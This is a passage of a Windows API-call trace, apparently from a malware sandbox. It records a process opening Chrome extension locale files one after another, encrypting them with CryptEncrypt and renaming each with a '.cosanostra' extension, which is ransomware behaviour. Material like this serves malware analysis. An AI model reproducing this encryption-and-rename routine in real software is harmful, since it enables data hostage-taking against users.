data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.250] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json") returned 155 [0086.250] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.251] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffe9b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.251] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x165, lpNumberOfBytesWritten=0x251f8ec, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8ec*=0x165, lpOverlapped=0x0) returned 1 [0086.251] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.251] WriteFile (in: hFile=0x184, lpBuffer=0x251f92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8ec, lpOverlapped=0x0 | out: lpBuffer=0x251f92c*, lpNumberOfBytesWritten=0x251f8ec*=0x4, lpOverlapped=0x0) returned 1 [0086.251] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8ec*=0x30, lpOverlapped=0x0) returned 1 [0086.251] CloseHandle (hObject=0x184) returned 1 [0086.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.cosanostra")) returned 1 [0086.253] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f928 | out: pbBuffer=0x251f928) returned 1 [0086.253] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f920*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f920*=0x30) returned 1 [0086.253] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.253] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json") returned 155 [0086.253] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.254] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff05, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.254] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x251f8e4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8e4*=0xfb, lpOverlapped=0x0) returned 1 [0086.254] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.254] WriteFile (in: hFile=0x184, lpBuffer=0x251f924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8e4, lpOverlapped=0x0 | out: lpBuffer=0x251f924*, lpNumberOfBytesWritten=0x251f8e4*=0x4, lpOverlapped=0x0) returned 1 [0086.254] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8e4*=0x30, lpOverlapped=0x0) returned 1 [0086.254] CloseHandle (hObject=0x184) returned 1 [0086.255] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0086.256] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f920 | out: pbBuffer=0x251f920) returned 1 [0086.256] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f918*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f918*=0x30) returned 1 [0086.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.256] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json") returned 155 [0086.256] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.257] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffe96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.257] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x251f8dc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8dc*=0x16a, lpOverlapped=0x0) returned 1 [0086.258] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.258] WriteFile (in: hFile=0x184, lpBuffer=0x251f91c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8dc, lpOverlapped=0x0 | out: lpBuffer=0x251f91c*, lpNumberOfBytesWritten=0x251f8dc*=0x4, lpOverlapped=0x0) returned 1 [0086.258] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8dc*=0x30, lpOverlapped=0x0) returned 1 [0086.258] CloseHandle (hObject=0x184) returned 1 [0086.258] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.cosanostra")) returned 1 [0086.260] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f918 | out: pbBuffer=0x251f918) returned 1 [0086.260] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f910*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f910*=0x30) returned 1 [0086.260] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.261] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json") returned 155 [0086.261] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.262] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.262] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x251f8d4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8d4*=0xb6, lpOverlapped=0x0) returned 1 [0086.262] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.262] WriteFile (in: hFile=0x184, lpBuffer=0x251f914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8d4, lpOverlapped=0x0 | out: lpBuffer=0x251f914*, lpNumberOfBytesWritten=0x251f8d4*=0x4, lpOverlapped=0x0) returned 1 [0086.262] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8d4*=0x30, lpOverlapped=0x0) returned 1 [0086.263] CloseHandle (hObject=0x184) returned 1 [0086.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0086.264] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f910 | out: pbBuffer=0x251f910) returned 1 [0086.264] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f908*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f908*=0x30) returned 1 [0086.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.265] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 155 [0086.265] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.321] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.321] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x251f8cc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8cc*=0xb2, lpOverlapped=0x0) returned 1 [0086.321] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.322] WriteFile (in: hFile=0x184, lpBuffer=0x251f90c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8cc, lpOverlapped=0x0 | out: lpBuffer=0x251f90c*, lpNumberOfBytesWritten=0x251f8cc*=0x4, lpOverlapped=0x0) returned 1 [0086.322] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8cc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8cc*=0x30, lpOverlapped=0x0) returned 1 [0086.322] CloseHandle (hObject=0x184) returned 1 [0086.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.cosanostra")) returned 1 [0086.324] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f908 | out: pbBuffer=0x251f908) returned 1 [0086.324] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f900*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f900*=0x30) returned 1 [0086.324] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.324] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 155 [0086.324] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.325] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.325] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x251f8c4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8c4*=0xcc, lpOverlapped=0x0) returned 1 [0086.325] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.325] WriteFile (in: hFile=0x184, lpBuffer=0x251f904*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8c4, lpOverlapped=0x0 | out: lpBuffer=0x251f904*, lpNumberOfBytesWritten=0x251f8c4*=0x4, lpOverlapped=0x0) returned 1 [0086.326] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8c4*=0x30, lpOverlapped=0x0) returned 1 [0086.326] CloseHandle (hObject=0x184) returned 1 [0086.326] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0086.327] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f900 | out: pbBuffer=0x251f900) returned 1 [0086.327] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8f8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8f8*=0x30) returned 1 [0086.327] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.328] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 158 [0086.328] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.328] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffef7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.328] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x251f8bc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8bc*=0x109, lpOverlapped=0x0) returned 1 [0086.329] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.329] WriteFile (in: hFile=0x184, lpBuffer=0x251f8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8bc, lpOverlapped=0x0 | out: lpBuffer=0x251f8fc*, lpNumberOfBytesWritten=0x251f8bc*=0x4, lpOverlapped=0x0) returned 1 [0086.329] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8bc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8bc*=0x30, lpOverlapped=0x0) returned 1 [0086.329] CloseHandle (hObject=0x184) returned 1 [0086.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json.cosanostra")) returned 1 [0086.332] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8f8 | out: pbBuffer=0x251f8f8) returned 1 [0086.332] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8f0*=0x30) returned 1 [0086.332] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.333] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 158 [0086.333] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.334] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.334] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x251f8b4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8b4*=0xb2, lpOverlapped=0x0) returned 1 [0086.334] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.334] WriteFile (in: hFile=0x184, lpBuffer=0x251f8f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8b4, lpOverlapped=0x0 | out: lpBuffer=0x251f8f4*, lpNumberOfBytesWritten=0x251f8b4*=0x4, lpOverlapped=0x0) returned 1 [0086.334] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8b4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8b4*=0x30, lpOverlapped=0x0) returned 1 [0086.334] CloseHandle (hObject=0x184) returned 1 [0086.334] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json.cosanostra")) returned 1 [0086.336] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8f0 | out: pbBuffer=0x251f8f0) returned 1 [0086.336] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8e8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8e8*=0x30) returned 1 [0086.336] CreateFileW 